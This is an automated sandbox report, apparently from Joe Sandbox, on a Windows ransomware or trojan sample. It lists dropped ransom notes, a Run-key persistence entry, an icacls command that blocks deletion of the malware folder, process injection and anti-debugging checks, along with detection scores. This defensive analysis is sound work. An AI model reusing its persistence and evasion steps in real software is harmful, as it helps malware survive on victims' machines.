Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: bE5aaTiJM0.exe	String found in binary or memory: set-addPolicy
Source: bE5aaTiJM0.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: bE5aaTiJM0.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: bE5aaTiJM0.exe, bE5aaTiJM0.exe, 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\xat\100\fahunisu_kuxuse\wuce97-sibemudex.pdb source: bE5aaTiJM0.exe, bE5aaTiJM0.exe.2.dr
Source:	Binary string: AC:\xat\100\fahunisu_kuxuse\wuce97-sibemudex.pdb` source: bE5aaTiJM0.exe, bE5aaTiJM0.exe.2.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: bE5aaTiJM0.exe, 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 0_2_041D30AF push ecx; retf
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_00428565 push ecx; ret

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

Source: initial sample	Static PE information: section name: .text entropy: 7.947102009414188
Source: initial sample	Static PE information: section name: .text entropy: 7.947102009414188

Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File created: C:\Users\user\Desktop\bE5aaTiJM0.exe.vvyu (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	File created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File created: C:\Users\user\Desktop\bE5aaTiJM0.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File created: C:\_readme.txt			Jump to behavior
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	File created: C:\Users\user\_readme.txt			Jump to behavior

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bE5aaTiJM0.exe.vvyu (copy)			Jump to dropped file
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bE5aaTiJM0.exe			Jump to dropped file

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 0_2_041D171C rdtsc

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

API call chain: ExitProcess graph end node

Source: bE5aaTiJM0.exe, 0000000B.00000003.435424110.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000002.436327985.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.618061651.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619380254.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448652959.000000000088C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: bE5aaTiJM0.exe, 0000000B.00000002.436250212.00000000007A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: bE5aaTiJM0.exe, 0000000B.00000003.435424110.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000002.436327985.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWilter-0000
Source: bE5aaTiJM0.exe, 00000010.00000002.448461853.0000000000808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: bE5aaTiJM0.exe, 0000000C.00000002.619018447.0000000000848000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpv

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_00424168 _memset,IsDebuggerPresent,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_00447CAC __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 0_2_041D171C rdtsc

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 0_2_041D00A3 push dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: 2_2_004329BB SetUnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Memory written: C:\Users\user\Desktop\bE5aaTiJM0.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Memory written: C:\Users\user\Desktop\bE5aaTiJM0.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Memory written: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Memory written: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Memory written: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe"
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Process created: C:\Users\user\Desktop\bE5aaTiJM0.exe "C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe --Task
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Source: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	Process created: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: GetLocaleInfoW,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,
Source: C:\Users\user\Desktop\bE5aaTiJM0.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_00427756 cpuid

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 0_2_0049EC9B GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Code function: 2_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

Source: C:\Users\user\Desktop\bE5aaTiJM0.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	1 Registry Run Keys / Startup Folder	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	2 Command and Scripting Interpreter	1 Services File Permissions Weakness	111 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	2 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	1 Services File Permissions Weakness	1 Masquerading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	111 Process Injection	LSA Secrets	1 Query Registry	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Services File Permissions Weakness	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	1 System Network Configuration Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
bE5aaTiJM0.exe	39%	Virustotal		Browse
bE5aaTiJM0.exe	54%	ReversingLabs	Win32.Trojan.RedLine
bE5aaTiJM0.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe	54%	ReversingLabs	Win32.Trojan.RedLine

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
16.0.bE5aaTiJM0.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
2.0.bE5aaTiJM0.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.bE5aaTiJM0.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.bE5aaTiJM0.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
14.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
12.0.bE5aaTiJM0.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.bE5aaTiJM0.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.bE5aaTiJM0.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
12.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
12.0.bE5aaTiJM0.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
16.0.bE5aaTiJM0.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
12.0.bE5aaTiJM0.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
2.0.bE5aaTiJM0.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.bE5aaTiJM0.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
11.0.bE5aaTiJM0.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
2.0.bE5aaTiJM0.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.bE5aaTiJM0.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
